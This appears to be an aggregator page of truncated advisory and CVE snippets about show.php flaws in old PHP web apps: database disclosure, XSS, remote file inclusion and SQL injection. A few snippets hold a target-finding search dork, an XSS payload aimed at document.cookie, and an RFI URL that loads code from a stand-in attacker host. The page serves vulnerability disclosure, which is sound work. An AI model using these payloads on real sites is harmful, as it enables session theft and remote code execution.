PHPFootball 1.6 - Remote Database Disclosure

PHPFootball 1.6 - Remote Database Disclosure Title : PHPFootball 1.6 show.php Remote Database Disclosure Vulnerability Author : ajann Contact : : S.Page : http://phpfootball.sourceforge.net $$ : Free Dork : inurl:/phpfootball/ DBREAD---------------------------------------------------------...

PHPFootball 1.6 (show.php) Remote Database Disclosure Vulnerability

Exploit for unknown platform in category web applications =================================================================== PHPFootball 1.6 show.php Remote Database Disclosure Vulnerability =================================================================== Title : PHPFootball 1.6 show.php Remo...

PHPFootball 1.6 (show.php) Remote Database Disclosure Vulnerability

Title : PHPFootball 1.6 show.php Remote Database Disclosure Vulnerability Author : ajann Contact : : S.Page : http://phpfootball.sourceforge.net $$ : Free Dork : inurl:/phpfootball/ DBREAD--------------------------------------------------------- http://target/path//show.php VARIABLES Example:...

PHPFootball 1.6 - Remote Database Disclosure

Title : PHPFootball 1.6 show.php Remote Database Disclosure Vulnerability Author : ajann Contact : : S.Page : http://phpfootball.sourceforge.net $$ : Free Dork : inurl:/phpfootball/ DBREAD--------------------------------------------------------- http://target/path//show.php VARIABLES Example:...

Cross site scripting

Cross-site scripting XSS vulnerability in show.php in 212cafe Guestbook 4.00 beta allows remote attackers to inject arbitrary web script or HTML via the user parameter...

CVE-2007-0542

CVE-2007-0542 is an XSS flaw in the show.php script of the 212cafe Guestbook 4.00 beta. The vulnerability allows attackers to inject arbitrary script/HTML via the user parameter, leading to client-side impact such as script execution or page manipulation. The associated data indicate a non-authen...

CVE-2007-0542: Undefined Security Weakness

Cross-site scripting XSS vulnerability in show.php in 212cafe Guestbook 4.00 beta allows remote attackers to inject arbitrary web script or HTML via the user parameter...

XSS in Guestbook ( v.4.00 beta )

Hello Vulnerable : Guestbook By 212cafe.com Version: v.4.00 beta Web : http://www.212cafe.com Exploit : http://www.example.com/guestbookv4.0/show.php?user=XSS Example : http://www.example.com/guestbookv4.0/show.php?user='scriptalertdocument.cookie;/script ----- Discoverey By LinuxDrox...

CVE-2007-0298: Undefined Security Weakness

PHP remote file inclusion vulnerability in show.php in LunarPoll, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the PollDir parameter...

LunarPoll Show.PHP远程文件包含漏洞

LunarPoll是一款基于PHP的WEB应用程序。 LunarPoll不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Show.PHP'脚本对用户提交的'PollDir'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Dexxaboy LunarPoll 1.0 目前没有解决方案提供： http://dexxaboy.com/scripts/lunarpoll/ http://www.example.com/show.php?PollDir=http://attacker.txt?...

lunar-rfi.txt

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir Code: requireonce$PollDir.'/includes/functions.php';...

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== LunarPoll 1.0 show.php PollDir Remote File Include Vulnerability ================================================================== AYYILDIZ.ORG PreSents... Script:LunarPol...

LunarPoll 1.0 - 'show.php?PollDir' Remote File Inclusion

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir Code: requireonce$PollDir.'/includes/functions.php';...

CVE-2006-3246: Undefined Security Weakness

Cross-site scripting XSS vulnerability in show.php in GL-SH Deaf Forum 6.4.3 and earlier allows remote attackers to inject arbitrary web script or HTML via the sort parameter...

CVE-2006-3247: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in show.php in GL-SH Deaf Forum 6.4.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 search, 2 page, and 3 action parameters. NOTE: the provenance of this information is unknown; the details are obtained solely...

CVE-2006-3054

Multiple SQL injection vulnerabilities in VBZooM 1.11 allow remote attackers to execute arbitrary SQL commands via the 1 sobjectID or 2 MAINID parameters to a show.php or 3 MainID parameter to b subject.php...

CVE-2006-3054: Undefined Security Weakness

Multiple SQL injection vulnerabilities in VBZooM 1.11 allow remote attackers to execute arbitrary SQL commands via the 1 sobjectID or 2 MAINID parameters to a show.php or 3 MainID parameter to b subject.php...

VBZooM <<-- V1.11 "show.php" SQL injection

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r Breeeeh-BoNym-Rootshill-LiNuXrOOt-SauDiVirUs ============================================= Example:-...

VBZooM-show.txt

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r Breeeeh-BoNym-Rootshill-LiNuXrOOt-SauDiVirUs ============================================= Example:-...

CVE-2006-2835: Undefined Security Weakness

SQL injection vulnerability in saphplesson 2.0 allows remote attackers to execute arbitrary SQL commands via the 1 forumid parameter in add.php and 2 lessid parameter in show.php...